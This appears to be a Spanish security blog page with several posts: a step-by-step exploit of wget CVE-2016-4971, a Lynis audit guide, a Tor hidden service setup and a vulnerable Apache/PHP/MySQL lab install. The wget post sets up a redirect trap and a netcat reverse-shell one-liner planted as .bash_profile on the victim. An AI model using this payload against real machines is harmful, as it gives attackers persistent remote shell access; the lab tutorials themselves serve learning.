Mostrando entradas con la etiqueta apache. Mostrar todas las entradas
Mostrando entradas con la etiqueta apache. Mostrar todas las entradas

sábado, 25 de junio de 2016

Explotando wget. CVE-2016-4971


Buenas compañeros,

Esta semana leyendo las noticias encontramos que se ha publicado una vulnerabilidad en WGET que afecta hasta la versión 1.17.
Es el CVE que acompaña al titulo, la descripción nos dice;
En una redirección de HTTP a un recurso FTP, wget confia en el servidor HTTP y usa el nombre
de archivo de la redirección como nombre destino.


Vamos a ver que necesitamos para plantear un escenario de explotación paso a paso.
Primero montar un servidor FTP que alojará el fichero que queremos que se descargue la victima.

Partiendo de una Kali, instalamos proftpd.

apt-get install proftpd-basic


Creamos el directorio raíz y le damos permisos para el usuario
proftpd

cd /var/
mkdir ftp
chown proftpd -R ftp/
cd ftp/
touch TEST


Creamos también un archivo TEST en la raíz y configuramos el servicio FTP.
Con una configuración básica será suficiente para la prueba.

DefaultRoot /var/ftp
<Limit LOGIN>
   DenyAll
</Limit>

<Anonymous /var/ftp>
   User   proftpd
   UserAlias anonymous proftpd
   RequireValidShell off

   <Limit LOGIN>
      AllowAll
   </Limit>
</Anonymous>


Iniciamos el servicio FTP, service proftpd start y 
ya tenemos el servidor ftp. Vamos con Apache para crear la redirección.

Lo primero vamos a crear un archivo gancho, este es el que la victima creerá descargar.
Le vamos a poner el suculento nombre de claves.txt.

touch /var/www/html/claves.txt


Ahora configuramos una redirección simple en Apache que redirija las peticiones de claves.txt al archivo que hemos alojado en nuestro FTP.

nano /etc/apache2/sites-enabled/000 sites-enabled/000-default.conf

Redirect /claves.txt ftp://192.168.10.185/TEST



Finalmente reiniciamos Apache, service apache2 restart,  para que cargue la nueva configuración y ya tenemos la trampa hecha.


Resultado


Cuando una victima haga
wget sobre nuestro archivo claves.txt realmente descargará el archivo TEST del ftp.


wget http://192.168.10.185/claves.txt




Sacando provecho de la situación


Hemos visto que el problema reside en la falta de comprobaciones por parte de wget en el nombre destino, por lo que sabiendo que podemos escribir en destino con un nombre arbitrario podemos intentar escribir algún archivo que interprete el sistema.
Como ".bash_login" y ".bash_profile" son archivos que ejecuta Bash cuando crea un nueva sesión parecen buenas opciones.

Manos a la obra, nos vamos a crear un archivo .bash_profile en el que vamos a incluir una Shell Reversa, por ejemplo, con netcat.


rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.185 5151 >/tmp/f &


Guardamos como .bash_profile en la raíz del ftp y modificamos nuestra redirección en Apache para que apunte al nuevo archivo.

Redirect /claves.txt ftp://192.168.10.185/.bash_profile

Reiniciamos Apache y levantamos un netcat para recibir la conexión.
wget http://192.168.10.185/claves.txt  [.bash_profile]

Ahora cuando la victima ejecute wget contra el archivo claves.txt se crea un archivo .bash_profile con una Shell que se ejecutará en cada inicio.

Obtenemos una Shell cuando se inicia bash en la victima



Referencias:






sábado, 14 de mayo de 2016

Lynis: Auditando la seguridad de tu Linux

Buenas compañeros,

En la entrada de hoy quería describir el uso de Lynis. Lynis es una herramienta de seguridad para auditar la seguridad de tu Linux.

Tan importante es conocer las vulnerabilidades de un sistema como llevar a cabo una configuración importante de la configuración por defecto que presenta la mayoría de aplicaciones una vez son instaladas.

Analiza el software instalado en el sistema para detectar problemas de seguridad. Junto a la información relacionada con la seguridad también buscará información general del sistema, los paquetes instalados y los errores de configuración.

A su vez, analiza y muestra información adicional como boot, criptografía, SSL, Kernel, base de datos,… A medida que analiza el software muestra los resultados que obtiene.
Finalmente, reporta un informe de conclusiones sobre los problemas encontrados, así como las sugerencias y recomendaciones para solucionar los problemas detectados.

En primer lugar, ¿De dónde lo descargamos? Se encuentra en Github, así que con la instrucción git clone:

https://github.com/CISOfy/lynis.git. 

Para su ejecución basta con el siguiente comando:

𝑠𝑢𝑑𝑜 𝑙𝑦𝑛𝑖𝑠 –𝑐

Comienza un análisis completo sobre la securización del sistema operativo:



Lynis analiza los diferentes apartados del sistema y visualizando información de ellos durante la ejecución:


Finalmente se visualiza un reporte final:



En este caso, analizando los avisos que ha detectado se puede observar dos registros de PHP que anteriormente en las recomendaciones básicas se deberían deshabilitar.

En el apartado de sugerencias, se recomienda emplear mecanismos para forzar al usuario a cambiar la contraseña periódicamente, separar ficheros importantes en diferentes particiones, emplear programas para chequear actualizaciones de software empleado, entre las más destacables.


Para un informe más completo Lynis facilita un reporte:





Adicionalmente sugiere securizar Apache con la instalación de módulos (mod_evasive, mod_qos,mod_spamhaus y mod_security) para prevenir ataques de DOS y fuerza bruta contra el mecanismos de autenticación, protección contra spammers y ataques contra aplicaciones web.

Finalmente muestra una estadística sobre la auditoría de securización en relación al número de test realizados y plugins activos.

Como se ha podido ver una herramienta más que recomendable para auditar nuestro Linux y conocer su estado, con fines muy aplicables a aplicar hardening.

Saludos.

NaxHack5

La mejor defensa es un buen ataque

lunes, 29 de febrero de 2016

Creación de un Hidden Service de Tor


Antes de comenzar esta PoC, queremos recalcar que está realizada con fines educativos y, sobre todo éticos. Y no nos hacemos responsables del mal uso que puedan darle.


Vamos a montar un Hidden Service, es decir, un servidor con dominio .onion, aumentando así la privacidad y anonimato del servicio dado. Este tipo de dominio conforman lo que se conoce como red Tor, perteneciente a la Deep Web.


Para realizar esta PoC, montaremos un servidor web en un entorno virtualizado (no por ello falso, ya que aún virtualizado estará en la red y será accesible) sobre GNU/Linux Debian.


¿Qué es Tor?
Tor (The Onion Routing) es una red de nodos distribuidos por el mundo, en el que los paquetes viajan por los mismos antes de llegar a su destino, ofreciendo privacidad y sobre todo anonimato. Cada nodo por el que pasa un paquete es cifrado por capas (e ahí el nombre de Onion).


La red de Tor forma parte además de la conocida Deep Web, en la que el anonimato, como arma de doble filo, es tanto usada con fines éticos (librerías, tutoriales de todo tipo, prensa sin censura) como con fines delictivos (pedofilia, mercado negro, servicios ilegales).


Tras esta breve introducción a Tor, si deseas más información, te dejamos algunos enlaces que pueden serte de utilidad: Wikipedia, Tor Project, Cómo empezar a usar Tor, Cómo funiona Tor.


Instalación del servidor web (LAMP)
Comenzamos con la instalación del servidor LAMP en nuestro Debian. LAMP es el acrónimo dado a la infraestructura del servidor web conformado por las siguientes herramientas: Linux + Apache + MySQL + PHP (A veces, MySQL puede ser sustituido por MariaDB, y PHP por Perl o Python). No vamos a entrar en detalles sobre la instalación, ya que realizaremos una instalación básica sin configuraciones extra. Anteriormente en este blog explicamos algo parecido.
Como Instalar Apache Mysql PHP en Debian


El proceso es sencillo y no ahondaremos en configuraciones, por lo que únicamente instalaremos los paquetes necesarios y editaremos el contenido de la página.



# apt-get install apache2 php5 libapache2-mod-php5 php5-mcrypt mysql-server php5-mysql




Comprobamos  el correcto funcionamiento de nuestro servidor web (conectándonos a la IP del servidor desde un navegador):




Editamos el contenido de la página. Éste se encuentra en la ruta /var/www/html.






Ya tenemos nuestro servidor LAMP corriendo, es el momento de instalar Tor y anonimizarlo, así como obtener el dominio .onion. Cabe destacar que en esta prueba de concepto no contemplamos todos los aspectos de seguridad, por lo que no se debe asumir que siguiendo estos pasos tendremos un servidor completamente seguro y anónimo, para lograr esto, debemos contemplar otras medidas de seguridad en el servidor, tales como detectores de intrusos, VPN, proxys, hardening del servidor, etc.


Instalación de Tor en nuestro servidor Debian
Antes de instalar Tor es necesario instalar algunos paquetes que permiten el correcto funcionamiento e instalación de Tor, los cuales son:


# apt-get install screen build-essential libevent-dev openssl zlib1g-dev libssl-dev




Una vez instalados, instalamos Tor con el gestor de paquetes apt-get.




El archivo de configuración, donde definimos los hidden service, se encuentra en /etc/tor/torrc. Accedemos y añadimos las siguientes líneas al final:




El parámetro “HiddenServiceDir” indica la ruta donde se almacena el contenido de la página. Nosotros hemos creado una carpeta dentro de /root denominada tor, donde alojaremos el index.html y el resto de contenido dela página.


El parámetro “HiddenServicePort” indicamos el puerto por el que accederemos al servidor. Podéis poner el que queráis, en mi caso he usado el puerto 80 (por defecto). Si elegimos un puerto extraño, deberemos configurar el archivo de configuración de Apache para que responda al mismo puerto además del archivo /etc/apache2/ports.conf.


Una vez guardado los cambios, reiniciamos el servidor y reiniciamos tor.




Arrancamos el servidor Tor con el siguiente comando:




Una vez terminado, listamos el contenido de la carpeta que hemos seleccionado para almacenar el Hidden Service, y veremos dos nuevos archivos junto al index.html.




¿Qué son? “private_key” almacena la clave privada del servidor.




El fichero “hostname”, almacena el dominio asignado .onion:




Para finalizar, únicamente debemos descargar el navegador de Tor (o acceder con un navegador con soporte para Tor) y veremos nuestra página. Editando el contenido podéis crear una página dinámica para objetivo que queráis, aunque eso es otro tema. (repetimos que no nos hacemos responsable del mal uso que puedan darle, puesto que es sólo para fines educativos y éticos).

miércoles, 24 de febrero de 2016

Entorno vulnerable y puesta en escena

En esta entrada se explicará como instalar Apache, PHP y MySQL compilando el código fuente e instalando mediante binarios. También se expondrá con cierta síntesis ejecutar el instalador XAMPP.
Es interesante en un entorno vulnerable y virtualizado instalar estos servicios para hacer pruebas de concepto, ver que servicios y puertos están disponibles, realizar un escaneo, análisis de vulnerabilidades, realizar una fase de explotación, y finalmente escalar privilegios correspondiente a la post-explotación.


PARTE 1:
Apache HTTP Server, es un software de código abierto bajo una licencia del tipo Apache License, donde podemos modificar como desarrolladores el código libremente y generar una nueva variante.

En esta práctica se instalara un servidor web Apache en un Windows Server 2008 de forma binaria.
Para poder compilar el código fuente se necesita del entorno Visual Studio de Microsoft (Visual Studio VC11). Todos los archivos necesarios nos lo encontramos en esta página: Apache Lounge
Ejecutamos el ejecutable VC11:



Descomprimimos el archivo .zip, del binario Apache VC11 y copiamos la carpeta Apache24 a C:





La estructura de directorios de Apache esta formada de la siguiente manera:


  • bin: Archivos ejecutables.
  • cgi-bin: Donde se almacenan programas del lado del servidor.
  • conf: Archivos de configuración.
  • htdocs: Donde se almacenan las páginas web. 
  • icons: Directorio que contiene iconos que usa el servidor web para mostrar mensajes.
  • include: Archivos de cabecera del código fuente de Apache.
  • lib: Librerías de Apache.
  • logs: Archivos de conexiones y errores en el servidor web.
  • manual: Manual de Apache.
  • modules: Módulos del servidor. 



Para poder ejecutar e instalar primero el servicio httpd, habrá que hacer que el directorio bin de Apache forme parte del Path del sistema:
  1. Panel de control/Sistema y Seguridad/Sistema/Configuración avanzada del sistema.
  2. En propiedades del sistema elegimos la opción Variables de entorno.
  3. En variables de sistema elegimos Path y le damos a editar.
  4. Añadimos lo siguiente al final ;C:\Apache24;C:\Apache24\bin.
  5. Por último ejecutamos desde la terminal path.





Vemos que se añadieron y gracias a esto podremos ejecutar el servicio desde cualquier directorio de la terminal.

Apache se instala como servicio de Windows. Se puede iniciar mediante terminal o desde Apache Monitor.
Una vez configurado la variable Path del sistema, ejecutamos lo siguiente desde el terminal con privilegios de administrador:
httpd -k install
Con el comando anterior instalamos el servidor Apache como servicio en Windows.
Para arrancar el servidor, detenerlo, reiniciarlo y desinstalarlo se ejecuta lo siguiente respectivamente:
httpd -k start
httpd -k stop
httpd -k restart
httpd -k uninstall

Las rutas donde se alojan las páginas web se encuentra en el directorio htdocs. Si ponemos en el navegador con el servicio activo lo siguiente, comprobamos que Apache fue instalado con éxito:


 


PHP, significa Hipertext Pre Processor y se trata del lenguaje de scripting del lado de servidor más popular. Este tipo de lenguaje va incrustado dentro de otro código.
Vamos a instalar PHP en el Windows Server 2008, previa instalación de Apache. Además es la opción compatible con la instalación de Apache mediante archivos binarios como hicimos anteriormente.
El archivo .zip podemos descargarlo desde Fuente, el VC11. En un entorno Windows, hay que descargar la versión Thread Safe, ya que este S.O es un entorno multihilo. En caso contrario y usar un servidor propietario de Microsoft como IIS, debemos elegir Non-Thread Safe.
De igual modo que en Apache es necesario antes tener instalado el Visual C++ Redistributable para Visual Studio 2012.
Descomprimimos:


Y copiamos la carpeta a C:


En necesario añadir el directorio php situado en C: y el directorio ext (dentro de php) al Path del sistema Windows. Se hará de igual modo que en apache:






Dentro de la carpeta php, renombramos el archivo php.ini-development a php.ini para que el archivo tenga una extensión correcta. Abrimos el archivo con un notepad:





Como se puede apreciar todas las lineas están comentadas con ; Basta con quitarlo de la linea para que aplique una configuración predeterminada.
Des-comentamos las siguientes lineas si existen, si no existen la añadimos:


  • display_errors=On  ;Muestra de errores
  • extension_dir="./ext"  ;Ruta de las extensiones PHP
  • extension=php_mysql.dll  ;Habilita el soporte de MySQL
  • extension=php_mysqli.dll  













En el archivo de configuración de Apache httpd.conf añadir al final del documento, el módulo de PHP y el tipo de manejo de archivos PHP:

PHPIniDir "C:\php" #Se indica la raíz de PHP
LoadModule php5_module "C:\php\php5apache2_4.dll" #Modulo de PHP
#Indicación del tipo MIME para el manejo de archivos PHP (Contenedor y directiva)
<FilesMatch \.php$>
        SetHandler application/x-httpd-php
</FilesMatch>

Con esto ya tendríamos instalado PHP en nuestro servidor web Apache mediante binarios.


MySQL es un Sistema Gestor de Base de Datos perteneciente a la Capa de Negocio, y más usado actualmente de código libre GPL. La unión a Apache y PHP, hace el conjunto de un potente software con la capacidad de la creación de aplicaciones web.
  • Descargaremos en vez de un instalador, un archivo .zip que dentro contiene los binarios de MySQL. Es la mejor opción cuando somos desarrolladores y queremos modificar el código fuente. Nos lo podemos descargar de la siguiente página web.
  • Igual que antes, copiamos la carpeta al directorio raíz C:
  • Añadimos el directorio bin de MySQL al Path de Windows:

  • Instalamos MySQL como servicio desde la terminal de Windows mysqld --install. El nombre del servicio se llamara MySQL y se quedará de forma persistente en el sistema:



  •  Iniciamos el servicio de MySQL:












  • Y para finalizar ejecutamos una serie de comandos que se pueden apreciar a continuación en las imágenes, junto >mysql -u root para obtener el prompt mysql desde la terminal:






Con esto, tendríamos un entorno vulnerable si dejamos una mala configuración en las directivas del servidor Apache, contraseñas por defecto o bien conocidas, protocolos inseguros como FTP o Telnet, instalar versiones antiguas y vulnerables de los servicios que ofrece Apache o MySQL..etc. Podríamos crear nuestras propias maquinas vulnerables y realizar diversos ataques a la base de datos, al puerto 80 del servidor web Apache o ataques por diccionario; ya sea para la recolección de información o conseguir una shell del servidor.


PARTE 2:
XAMPP, Se trata de un software muy potente capaz de instalar Apache, MySQL, PHP, phpMyAdmin, Perl, servidor de subida de archivos FTP, servidor SMTP y otro de Java.
Es muy útil este tipo de software para personas que necesitan practicar con el lenguaje de programación PHP, o para aquellas que deseen crear bases de datos y ejecutar sentencias SQL. 
En esta practica bastante corta y asequible, se instalará XAMPP en Windows a través de un instalador.
La página web para poder instalar de forma intuitiva este software se encuentra aquí


La captura de pantalla esta en Ubuntu, simplemente para mostrar el ejecutable

Los pasos para instalar la versión del instalador es la siguiente:
  • Ejecutamos y seguimos los pasos del asistente. El segundo paso será elegir los componentes a instalar, no es necesario instalar todo pero si recomendable instalar Apache, PHP, MySQL, Perl y phpMyAdmin para gestionar de forma gráfica MySQL.
  • Posibilidad de integrar un CMS
  • Al finalizar la instalación es probable que salte el Firewall de Windows, y habrá que indicarle que de permiso de acceso a Apache. El directorio raíz del XAMPP se encontrara en C: 
  • Desde el cuadro de control de XAMPP tendremos que iniciar o detener Apache o MySQL, al igual que podremos o no, instalarlo como servicio. 

Un Windows Server 2008 y estos servicios instalados en un entorno vulnerable, tendréis infinidad de posibilidades para realizar vuestras PoC y aprender de forma virtualizada los distintos ataques a sistemas, aprovechando sus vulnerabilidades, los servicios instalados o una mala configuración del administrador.

Google Analytics